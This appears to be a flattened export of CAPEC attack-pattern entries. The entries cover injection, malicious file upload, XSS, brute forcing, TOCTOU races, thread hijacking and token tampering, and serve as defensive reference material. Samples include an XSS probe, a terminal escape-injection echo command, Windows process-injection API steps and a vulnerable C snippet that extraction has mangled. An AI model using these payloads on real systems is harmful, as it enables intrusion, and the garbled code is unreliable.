  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
Software
  1. By appending special characters, such as a semicolon or other commands that are executed by the target process, the attacker is able to execute a wide variety of malicious commands in the target process space, utilizing the target's inherited permissions, against any resource the host has access to. The possibilities are vast including injection attacks against RDBMS (SQL Injection), directory servers (LDAP Injection), XML documents (XPath and XQuery Injection), and command line shells. In many injection attacks, the results are converted back to strings and displayed to the client process such as a web browser without tripping any security alarms, so the network firewall does not log any out of the ordinary behavior. LDAP servers house critical identity assets such as user, profile, password, and group information that is used to authenticate and authorize users. An attacker that can query the directory at will and execute custom commands against the directory server is literally working with the keys to the kingdom in many enterprises. When user, organizational units, and other directory objects are queried by building the query string directly from user input with no validation, or other conversion, then the attacker has the ability to use any LDAP commands to query, filter, list, and crawl against the LDAP server directly in the same manner as SQL injection gives the ability to the attacker to run SQL commands on the database.

Explore

  1. Assess Target Runtime Environment: In situations where the runtime environment is not implicitly known, the attacker makes connections to the target system and tries to determine the system's runtime environment. Knowing the environment is vital to choosing the correct delimiters.
  2. Techniques
    Port mapping using network connection-based software (e.g., nmap, nessus, etc.)
    Port mapping by exploring the operating system (netstat, sockstat, etc.)
    TCP/IP Fingerprinting
    Induce errors to find informative error messages
  3. Survey the Application: The attacker surveys the target application, possibly as a valid and authenticated user
  4. Techniques
    Spidering web sites for all available links
    Inventory all application inputs

Experiment

  1. Attempt delimiters in inputs: The attacker systematically attempts variations of delimiters on known inputs, observing the application's response each time.
  2. Techniques
    Inject command delimiters using network packet injection tools (netcat, nemesis, etc.)
    Inject command delimiters using web test frameworks (proxies, TamperData, custom programs, etc.)
    Enter command delimiters directly in input fields.

Exploit

  1. Use malicious command delimiters: The attacker uses combinations of payload and carefully placed command delimiters to attack the software.
High
  • Software's input validation or filtering must not detect and block presence of additional malicious command.
  • Ability to communicate synchronously or asynchronously with server. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Medium: The attacker has to identify injection vector, identify the specific commands, and optionally collect the output, i.e. from an interactive session. Draft High 3.9
460
137
Using Malicious Files Standard An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface. 2014-06-23 02:00:00 Capec: CAPEC-17
Cwe: CWE-732
Cwe: CWE-285
Cwe: CWE-272
Cwe: CWE-59
Cwe: CWE-282
Cwe: CWE-270
Cwe: CWE-693
Attack: T1574.005
Attack: T1574.010
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Modify Data
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Read Data
  • Gain Privileges
Software
  1. Consider a directory on a web server with the following permissions drwxrwxrwx 5 admin public 170 Nov 17 01:08 webroot This could allow an attacker to both execute and upload and execute programs' on the web server. This one vulnerability can be exploited by a threat to probe the system and identify additional vulnerabilities to exploit.

Explore

  1. Determine File/Directory Configuration: The adversary looks for misconfigured files or directories on a system that might give executable access to an overly broad group of users.
  2. Techniques
    Through shell access to a system, use the command "ls -l" to view permissions for files and directories.

Experiment

  1. Upload Malicious Files: If the adversary discovers a directory that has executable permissions, they will attempt to upload a malicious file to execute.
  2. Techniques
    Upload a malicious file through a misconfigured FTP server.

Exploit

  1. Execute Malicious File: The adversary either executes the uploaded malicious file, or executes an existing file that has been misconfigured to allow executable access to the adversary.
High
  • System's configuration must allow an attacker to directly access executable files or upload files to execute. This means that any access control system that is supposed to mediate communications between the subject and the object is set incorrectly or assumes a benign environment.
  • Ability to communicate synchronously or asynchronously with server that publishes an over-privileged directory, program, or interface. Optionally, ability to capture output directly through synchronous communication or other method such as FTP.
Low: To identify and execute against an over-privileged system interface Draft Very High 3.9
122
Embedding Scripts within Scripts Standard An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The adversary must have the ability to inject their script into a script that is likely to be executed. If this is done, then the adversary can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an adversary can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. These attacks are not solely limited to the server side, client side scripts like Ajax and client side JavaScript can contain malicious scripts as well. 2014-06-23 02:00:00 Capec: CAPEC-19
Cwe: CWE-284
Attack: T1027.009
Attack: T1546.004
Attack: T1546.016
2023-01-24 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
  • Gain Privileges
Software
  1. Ajax applications enable rich functionality for browser based web applications. Applications like Google Maps deliver unprecedented ability to zoom in and out, scroll graphics, and change graphic presentation through Ajax. The security issues that an adversary may exploit in this instance are the relative lack of security features in JavaScript and the various browser's implementation of JavaScript, these security gaps are what XSS and a host of other client side vulnerabilities are based on. While Ajax may not open up new security holes, per se, due to the conversational aspects between client and server of Ajax communication, attacks can be optimized. A single zoom in or zoom out on a graphic in an Ajax application may round trip to the server dozens of times. One of the first steps many adversarys take is frequently footprinting an environment, this can include scanning local addresses like 192... IP addresses, checking local directories, files, and settings for known vulnerabilities, and so on. ![](javascript:alert\('XSS'\)) The XSS script that is embedded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of. In addition the enumerations allow for the adversary to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.
  2. ~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed. These files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.

Explore

  1. Spider: Using a browser or an automated tool, an adversary records all entry points for inputs that happen to be reflected in a client-side script element. These script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc.
  2. Techniques
    Use a spidering tool to follow and record all non-static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application.
    Use a proxy tool to record all links visited during a manual traversal of the web application.
    Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery.

Experiment

  1. Probe identified potential entry points for XSS vulnerability: The adversary uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited.
  2. Techniques
    Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed.
    Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed.
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed.
    Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed.
    Use a proxy tool to record results of the created requests.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the adversary succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.
  2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the adversary.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an adversary's server and then causes the browser to execute appropriately.
  3. Forceful browsing: When the adversary targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).
  4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an adversary's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).
  5. Content spoofing: By manipulating the content, the adversary targets the information that the user would like to get from the website.
  6. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes adversary-modified invalid information to the user on the current web page.
High
  • Target software must be able to execute scripts, and also grant the adversary privilege to write/upload scripts.
Low: To load malicious script into open, e.g. world writable directory Medium: Executing remote scripts on host and collecting output Stable High 3.9
242
Encryption Brute Forcing Standard An attacker, armed with the cipher text and the encryption algorithm used, performs an exhaustive (brute force) search on the key space to determine the key that decrypts the cipher text to obtain the plaintext. 2014-06-23 02:00:00 Capec: CAPEC-20
Cwe: CWE-326
Cwe: CWE-327
Cwe: CWE-693
Cwe: CWE-1204
2021-06-24 02:00:00 2.1 Confidentiality:
  • Read Data
Software
  1. In 1997 the original DES challenge used distributed net computing to brute force the encryption key and decrypt the ciphertext to obtain the original plaintext. Each machine was given its own section of the key space to cover. The ciphertext was decrypted in 96 days.

Explore

  1. Determine the ciphertext and the encryption algorithm.

Experiment

  1. Perform an exhaustive brute force search of the key space, producing candidate plaintexts and observing if they make sense.
Low
  • Ciphertext is known.
  • Encryption algorithm and key size are known.
  • A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge). On average, for a binary key of size N, 2^(N/2) trials will be needed to find the key that would decrypt the ciphertext to obtain the original plaintext. Obviously as N gets large the brute force approach becomes infeasible.
Low: Brute forcing encryption does not require much skill. Draft Low 3.9
112
File Content Injection Standard An adversary poisons files with a malicious payload (targeting the file systems accessible by the target software), which may be passed through by standard channels such as via email, and standard web content like PDF and multimedia files. The adversary exploits known vulnerabilities or handling routines in the target processes, in order to exploit the host's trust in executing remote content, including binary files. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the adversary knows the standard handling routines and can identify vulnerabilities and entry points, they can be exploited by otherwise seemingly normal content. Once the attack is executed, the adversary's program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus. 2014-06-23 02:00:00 Capec: CAPEC-23
Cwe: CWE-20
Reference_from_capec: REF-1
2022-02-22 01:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Confidentiality:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. PHP is a very popular language used for developing web applications. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the adversary can directly access and execute them through a browser. This vulnerability allows remote adversaries to execute arbitrary code on the system, and can result in the adversary being able to erase intrusion evidence from system and application logs.
None High
  • The target software must consume files.
  • The adversary must have access to modify files that the target software will consume.
Medium: How to poison a file with malicious payload that will exploit a vulnerability when the file is opened. The adversary must also know how to place the file onto a system where it will be opened by an unsuspecting party, or force the file to be opened. Draft Very High 3.9
44
242
Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions Standard This attack targets a race condition occurring between the time of check (state) for a resource and the time of use of a resource. A typical example is file access. The adversary can leverage a file access race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary could replace or modify the file, causing the application to behave unexpectedly. 2014-06-23 02:00:00 Capec: CAPEC-29
Cwe: CWE-367
Cwe: CWE-368
Cwe: CWE-366
Cwe: CWE-370
Cwe: CWE-362
Cwe: CWE-662
Cwe: CWE-691
Cwe: CWE-663
Cwe: CWE-665
Reference_from_capec: REF-131
Reference_from_capec: REF-107
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
  • Alter Execution Logic
Availability:
  • Alter Execution Logic
  • Resource Consumption (Denial of Service)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Alter Execution Logic
  • Read Data
Software
  1. The Net Direct client for Linux before 6.0.5 in Nortel Application Switch 2424, VPN 3050 and 3070, and SSL VPN Module 1000 extracts and executes files with insecure permissions, which allows local users to exploit a race condition to replace a world-writable file in /tmp/NetClient and cause another user to execute arbitrary code when attempting to execute this client, as demonstrated by replacing /tmp/NetClient/client. See also: CVE-2007-1057
  2. The following code illustrates a file that is accessed multiple times by name in a publicly accessible directory. A race condition exists between the accesses where an adversary can replace the file referenced by the name. include include include define FILE "/tmp/myfile"define UID 100 void test(char str){int fd;fd = creat(FILE, 0644);if(fd == -1)return; chown(FILE, UID, -1); / BAD /close(fd); } int main(int argc, char argv){char userstr;if(argc > 1) {userstr = argv[1];test(userstr); }return 0; } [REF-107]

Explore

  1. The adversary explores to gauge what level of access they have.

Experiment

  1. The adversary confirms access to a resource on the target host. The adversary confirms ability to modify the targeted resource.

Exploit

  1. The adversary decides to leverage the race condition by "running the race", meaning that they would modify the resource between the first time the target program accesses the file and the time the target program uses the file. During that period of time, the adversary can replace the resource and cause an escalation of privilege.
High
  • A resource is access/modified concurrently by multiple processes.
  • The adversary is able to modify resource.
  • A race condition exists while accessing a resource.
Medium: This attack can get sophisticated since the attack has to occur within a short interval of time. Draft High 3.9
27
26
Hijacking a Privileged Thread of Execution Standard An adversary hijacks a privileged thread of execution by injecting malicious code into a running process. By using a privleged thread to do their bidding, adversaries can evade process-based detection that would stop an attack that creates a new process. This can lead to an adversary gaining access to the process's memory and can also enable elevated privileges. The most common way to perform this attack is by suspending an existing thread and manipulating its memory. 2014-06-23 02:00:00 Capec: CAPEC-30
Cwe: CWE-270
Attack: T1055.003
2021-10-21 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. Adversary targets an application written using Java's AWT, with the 1.2.2 era event model. In this circumstance, any AWTEvent originating in the underlying OS (such as a mouse click) would return a privileged thread (e.g., a system call). The adversary could choose to not return the AWT-generated thread upon consuming the event, but instead leveraging its privilege to conduct privileged operations.

Explore

  1. Determine target thread: The adversary determines the underlying system thread that is subject to user-control

Experiment

  1. Gain handle to thread: The adversary then gains a handle to a process thread.
  2. Techniques
    Use the "OpenThread" API call in Windows on a known thread.
    Cause an exception in a java privileged block public function and catch it, or catch a normal signal. The thread is then hanging and the adversary can attempt to gain a handle to it.
  3. Alter process memory: Once the adversary has a handle to the target thread, they will suspend the thread and alter the memory using native OS calls.
  4. Techniques
    On Windows, use "SuspendThread" followed by "VirtualAllocEx", "WriteProcessMemory", and "SetThreadContext".

Exploit

  1. Resume thread execution: Once the process memory has been altered to execute malicious code, the thread is then resumed.
  2. Techniques
    On Windows, use "ResumeThread".
Low
  • The application in question employs a threaded model of execution with the threads operating at, or having the ability to switch to, a higher privilege level than normal users
  • In order to feasibly execute this class of attacks, the adversary must have the ability to hijack a privileged thread. This ability includes, but is not limited to, modifying environment variables that affect the process the thread belongs to, or calling native OS calls that can suspend and alter process memory. This does not preclude network-based attacks, but makes them conceptually more difficult to identify and execute.
  • None: No specialized resources are required to execute this type of attack. The adversary needs to be able to latch onto a privileged thread. The adversary does, however, need to be able to program, compile, and link to the victim binaries being executed so that it will turn control of a privileged thread over to the adversary's malicious code. This is the case even if the adversary conducts the attack remotely.
High: Hijacking a thread involves knowledge of how processes and threads function on the target platform, the design of the target application as well as the ability to identify the primitives to be used or manipulated to hijack the thread. Draft Very High 3.9
233
Using Unpublished Interfaces or Functionality Standard An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for. Adversaries can also search for undocumented bits on a hardware device, commonly known as "chicken bits". These bits are used to enable/disable certain functionality, but are not published. Adversaries can reverse engineer firmware to identify hidden features and change these bits at runtime to achieve malicious behavior. 2014-06-23 02:00:00 Capec: CAPEC-36
Cwe: CWE-306
Cwe: CWE-693
Cwe: CWE-695
Cwe: CWE-1242
2022-09-29 02:00:00 2.1 Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
  • Gain Privileges
Software
Hardware
  1. To an extent, Google services (such as Google Maps) are all well-known examples. Calling these services, or extending them for one's own (perhaps very different) purposes is as easy as knowing they exist. Their unencumbered public use, however, is a purposeful aspect of Google's business model. Most organizations, however, do not have the same business model. Organizations publishing services usually fall back on thoughts that Attackers "will not know services exist" and that "even if they did, they wouldn't be able to access them because they're not on the local LAN." Simple threat modeling exercises usually uncovers simple attack vectors that can invalidate these assumptions.

Explore

  1. Identify services: Discover a service of interest by exploring service registry listings or by connecting on a known port or some similar means.
  2. Techniques
    Search via internet for known, published services.
    Use automated tools to scan known ports to identify internet-enabled services.
    Dump the code from the chip and then perform reverse engineering to analyze the code.
  3. Authenticate to service: Authenticate to the service, if required, in order to explore it.
  4. Techniques
    Use published credentials to access system.
    Find unpublished credentials to access service.
    Use other attack pattern or weakness to bypass authentication.
  5. Identify all interfaces: Determine the exposed interfaces by querying the registry as well as probably sniffing to expose interfaces that are not explicitly listed.
  6. Techniques
    For any published services, determine exposed interfaces via the documentation provided.
    For any services found, use error messages from poorly formed service calls to determine valid interfaces. In some cases, services will respond to poorly formed calls with valid ones.

Experiment

  1. Attempt to discover unpublished functions: Using manual or automated means, discover unpublished or undocumented functions exposed by the service.
  2. Techniques
    Manually attempt calls to the service using an educated guess approach, including the use of terms like' 'test', 'debug', 'delete', etc.
    Use automated tools to scan the service to attempt to reverse engineer exposed, but undocumented, features.

Exploit

  1. Exploit unpublished functions: Using information determined via experimentation, exploit the unpublished features of the service.
  2. Techniques
    Execute features that are not intended to be used by general system users.
    Craft malicious calls to features not intended to be used by general system users that take advantage of security flaws found in the functions.
Medium
  • The architecture under attack must publish or otherwise make available services that clients can attach to, either in an unauthenticated fashion, or having obtained an authentication token elsewhere. The service need not be 'discoverable', but in the event it isn't it must have some way of being discovered by an attacker. This might include listening on a well-known port. Ultimately, the likelihood of exploit depends on discoverability of the vulnerable service.
  • None: No specialized resources are required to execute this type of attack. Web service digging tools may be helpful.
Low: A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that they can sniff/monitor for. Draft High 3.9
113
Manipulating Opaque Client-based Data Tokens Standard In circumstances where an application holds important data client-side in tokens (cookies, URLs, data files, and so forth) that data can be manipulated. If client or server-side application components reinterpret that data as authentication tokens or data (such as store item pricing or wallet information) then even opaquely manipulating that data may bear fruit for an Attacker. In this pattern an attacker undermines the assumption that client side tokens have been adequately protected from tampering through use of encryption or obfuscation. 2014-06-23 02:00:00 Capec: CAPEC-39
Cwe: CWE-353
Cwe: CWE-285
Cwe: CWE-302
Cwe: CWE-472
Cwe: CWE-565
Cwe: CWE-315
Cwe: CWE-539
Cwe: CWE-384
Cwe: CWE-233
2020-07-30 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
Software
  1. With certain price watching websites, that aggregate products available prices, the user can buy items through whichever vendors has product availability, the best price, or other differentiator. Once a user selects an item, the site must broker the purchase of that item with the vendor. Because vendors sell the same product through different channel partners at different prices, token exchange between price watching sites and selling vendors will often contain pricing information. With some price watching sites, manipulating URL-data (which is encrypted) even opaquely yields different prices charged by the fulfilling vendor. If the manipulated price turns out higher, the Attacker can cancel purchase. If the Attacker succeeded in manipulating the token and creating a lower price, they proceed.
  2. Upon successful authentication user is granted an encrypted authentication cookie by the server and it is stored on the client. One piece of information stored in the authentication cookie reflects the access level of the user (e.g. "u" for user). The authentication cookie is encrypted using the Electronic Code Book (ECB) mode, that naively encrypts each of the plaintext blocks to each of the ciphertext blocks separately. An attacker knows the structure of the cookie and can figure out what bits (encrypted) store the information relating to the access level of the user. An attacker modifies the authentication cookie and effectively substitutes "u" for "a" by flipping some of the corresponding bits of ciphertext (trial and error). Once the correct "flip" is found, when the system is accessed, the attacker is granted administrative privileges in the system. Note that in this case an attacker did not have to figure out the exact encryption algorithm or find the secret key, but merely exploit the weakness inherent in using the ECB encryption mode.
  3. Archangel Weblog 0.90.02 allows remote attackers to bypass authentication by setting the ba_admin cookie to 1. See also: CVE-2006-0944

Explore

  1. Enumerate information passed to client side: The attacker identifies the parameters used as part of tokens to take business or security decisions
  2. Techniques
    Use WebScarab to reveal hidden fields while browsing.
    Use a sniffer to capture packets
    View source of web page to find hidden fields
    Examine URL to see if any opaque tokens are in it
    Disassemble or decompile client-side application
    Use debugging tools such as File Monitor, Registry Monitor, Debuggers, etc.
  3. Determine protection mechanism for opaque token: The attacker determines the protection mechanism used to protect the confidentiality and integrity of these data tokens. They may be obfuscated or a full blown encryption may be used.
  4. Techniques
    Look for signs of well-known character encodings
    Look for cryptographic signatures
    Look for delimiters or other indicators of structure

Experiment

  1. Modify parameter/token values: Trying each parameter in turn, the attacker modifies the values
  2. Techniques
    Modify tokens logically
    Modify tokens arithmetically
    Modify tokens bitwise
    Modify structural components of tokens
    Modify order of parameters/tokens
  3. Cycle through values for each parameter.: Depending on the nature of the application, the attacker now cycles through values of each parameter and observes the effects of this modification in the data returned by the server
  4. Techniques
    Use network-level packet injection tools such as netcat
    Use application-level data modification tools such as Tamper Data, WebScarab, TamperIE, etc.
    Use modified client (modified by reverse engineering)
    Use debugging tools to modify data in client
High
  • An attacker already has some access to the system or can steal the client based data tokens from another user who has access to the system.
  • For an Attacker to viably execute this attack, some data (later interpreted by the application) must be held client-side in a way that can be manipulated without detection. This means that the data or tokens are not CRCd as part of their value or through a separate meta-data store elsewhere.
  • The Attacker needs no special hardware-based resources in order to conduct this attack. Software plugins, such as Tamper Data for Firefox, may help in manipulating URL- or cookie-based data.
High: If the client site token is encrypted. Medium: If the client site token is obfuscated. Draft Medium 3.9
31
22
Manipulating Writeable Terminal Devices Standard This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded. 2014-06-23 02:00:00 Capec: CAPEC-40
Cwe: CWE-77
Reference_from_capec: REF-1
2022-09-29 02:00:00 2.1 Integrity:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Availability:
  • Execute Unauthorized Commands (Run Arbitrary Code)
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
  • Execute Unauthorized Commands (Run Arbitrary Code)
Software
  1. "Any system that allows other peers to write directly to its terminal process is vulnerable to this type of attack. If the terminals are available through being over-privileged (i.e. world-writable) or the attacker is an administrator, then a series of commands in this format can be used to echo commands out to victim terminals. "$echo -e "\033[30m\033\132" > /dev/ttyXX where XX is the tty number of the user under attack. This will paste the characters to another terminal (tty). Note this technique works only if the victim's tty is world writable (which it may not be). That is one reason why programs like write(1) and talk(1) in UNIX systems need to run setuid." [REF-1] If the victim continues to hit "enter" and execute the commands, there are an endless supply of vectors available to the attacker, copying files, open up network connections, ftp out to servers, and so on.

Explore

  1. Identify attacker-writable terminals: Determine if users TTYs are writable by the attacker.
  2. Techniques
    Determine the permissions for the TTYs found on the system. Any that allow user write to the TTY may be vulnerable.
    Attempt to write to other user TTYs. This approach could leave a trail or alert a user.

Exploit

  1. Execute malicious commands: Using one or more vulnerable TTY, execute commands to achieve various impacts.
  2. Techniques
    Commands that allow reading or writing end user files can be executed.
High
  • User terminals must have a permissive access control such as world writeable that allows normal users to control data on other user's terminals.
  • Access to a terminal on the target network
Low: Ability to discover permissions on terminal devices. Of course, brute force can also be used. Draft Very High 3.9
248
Passing Local Filenames to Functions That Expect a URL Standard This attack relies on client side code to access local files and resources instead of URLs. When the client browser is expecting a URL string, but instead receives a request for a local file, that execution is likely to occur in the browser process space with the browser's authority to local files. The attacker can send the results of this request to the local files out to a site that they control. This attack may be used to steal sensitive authentication data (either local or remote), or to gain system profile information to launch further attacks. 2014-06-23 02:00:00 Capec: CAPEC-48
Cwe: CWE-241
Cwe: CWE-706
Reference_from_capec: REF-1
Reference_from_capec: REF-416
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Confidentiality:
  • Read Data
Software
  1. J2EE applications frequently use .properties files to store configuration information including JDBC connections, LDAP connection strings, proxy information, system passwords and other system metadata that is valuable to attackers looking to probe the system or bypass policy enforcement points. When these files are stored in publicly accessible directories and are allowed to be read by the public user, then an attacker can list the directory identify a .properties file and simply load its contents in the browser listing its contents. A standard Hibernate properties file contains hibernate.connection.driver_class = org.postgresql.Driverhibernate.connection.url = jdbc:postgresql://localhost/mydatabasehibernate.connection.username = usernamehibernate.connection.password = passwordhibernate.c3p0.min_size=5hibernate.c3p0.max_size=20 Even if the attacker cannot write this file, there is plenty of information to leverage to gain further access.

Explore

  1. Identify web application URL inputs: Review application inputs to find those that are designed to be URLs.
  2. Techniques
    Manually navigate web site pages to identify URLs.
    Use automated tools to identify URLs.

Experiment

  1. Identify URL inputs allowing local access.: Execute test local commands via each URL input to determine which are successful.
  2. Techniques
    Manually execute a local command (such as 'pwd') via the URL inputs.
    Using an automated tool, test each URL input for weakness.

Exploit

  1. Execute malicious commands: Using the identified URL inputs that allow local command execution, execute malicious commands.
  2. Techniques
    Execute local commands via the URL input.
High
  • The victim's software must not differentiate between the location and type of reference passed the client software, e.g. browser
Medium: Attacker identifies known local files to exploit Draft High 3.9
212
Password Brute Forcing Standard An adversary tries every possible value for a password until they succeed. A brute force attack, if feasible computationally, will always be successful because it will essentially go through all possible passwords given the alphabet used (lower case letters, upper case letters, numbers, symbols, etc.) and the maximum length of the password. A system will be particularly vulnerable to this type of an attack if it does not have a proper enforcement mechanism in place to ensure that passwords selected by users are strong passwords that comply with an adequate password policy. In practice a pure brute force attack on passwords is rarely used, unless the password is suspected to be weak. Other password cracking methods exist that are far more effective (e.g. dictionary attacks, rainbow tables, etc.). Knowing the password policy on the system can make a brute force attack more efficient. For instance, if the policy states that all passwords must be of a certain level, there is no need to check smaller candidates. 2014-06-23 02:00:00 Capec: CAPEC-49
Cwe: CWE-521
Cwe: CWE-262
Cwe: CWE-263
Cwe: CWE-257
Cwe: CWE-654
Cwe: CWE-307
Cwe: CWE-308
Cwe: CWE-309
Attack: T1110.001
2022-02-22 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Gain Privileges
  • Read Data
Software
  1. A system does not enforce a strong password policy and the user picks a five letter password consisting of lower case English letters only. The system does not implement any password throttling mechanism. Assuming the adversary does not know the length of the users' password, an adversary can brute force this password in maximum 1+26+26^2+26^3+26^4+26^5 = 1 + 26 + 676 + 17576 + 456976 + 11,881,376 = 12,356,631 attempts, and half these tries (6,178,316) on average. Using modern hardware this attack is trivial. If the adversary were to assume that the user password could also contain upper case letters (and it was case sensitive) and/or numbers, than the number of trials would have been larger. An adversary's job would have most likely been even easier because many users who choose easy to brute force passwords like this are also likely to use a word that can be found in the dictionary. Since there are far fewer valid English words containing up to five letters than 12,356,631, an attack that tries each of the entries in the English dictionary would go even faster.
  2. A weakness exists in the automatic password generation routine of Mailman prior to 2.1.5 that causes only about five million different passwords to be generated. This makes it easy to brute force the password for all users who decided to let Mailman automatically generate their passwords for them. Users who chose their own passwords during the sign up process would not have been affected (assuming that they chose strong passwords). See also: CVE-2004-1143

Explore

  1. Determine application's/system's password policy: Determine the password policies of the target application/system.
  2. Techniques
    Determine minimum and maximum allowed password lengths.
    Determine format of allowed passwords (whether they are required or allowed to contain numbers, special characters, etc.).
    Determine account lockout policy (a strict account lockout policy will prevent brute force attacks).

Exploit

  1. Brute force password: Given the finite space of possible passwords dictated by the password policy determined in the previous step, try all possible passwords for a known user ID until application/system grants access.
  2. Techniques
    Manually or automatically enter all possible passwords through the application/system's interface. In most systems, start with the shortest and simplest possible passwords, because most users tend to select such passwords if allowed to do so.
    Perform an offline dictionary attack or a rainbow table attack against a known password hash.
Medium
  • An adversary needs to know a username to target.
  • The system uses password based authentication as the one factor authentication mechanism.
  • An application does not have a password throttling mechanism in place. A good password throttling mechanism will make it almost impossible computationally to brute force a password as it may either lock out the user after a certain number of incorrect attempts or introduce time out periods. Both of these would make a brute force attack impractical.
  • A powerful enough computer for the job with sufficient CPU, RAM and HD. Exact requirements will depend on the size of the brute force job and the time requirement for completion. Some brute forcing jobs may require grid or distributed computing (e.g. DES Challenge).
Low: A brute force attack is very straightforward. A variety of password cracking tools are widely available. Draft High 3.9
112
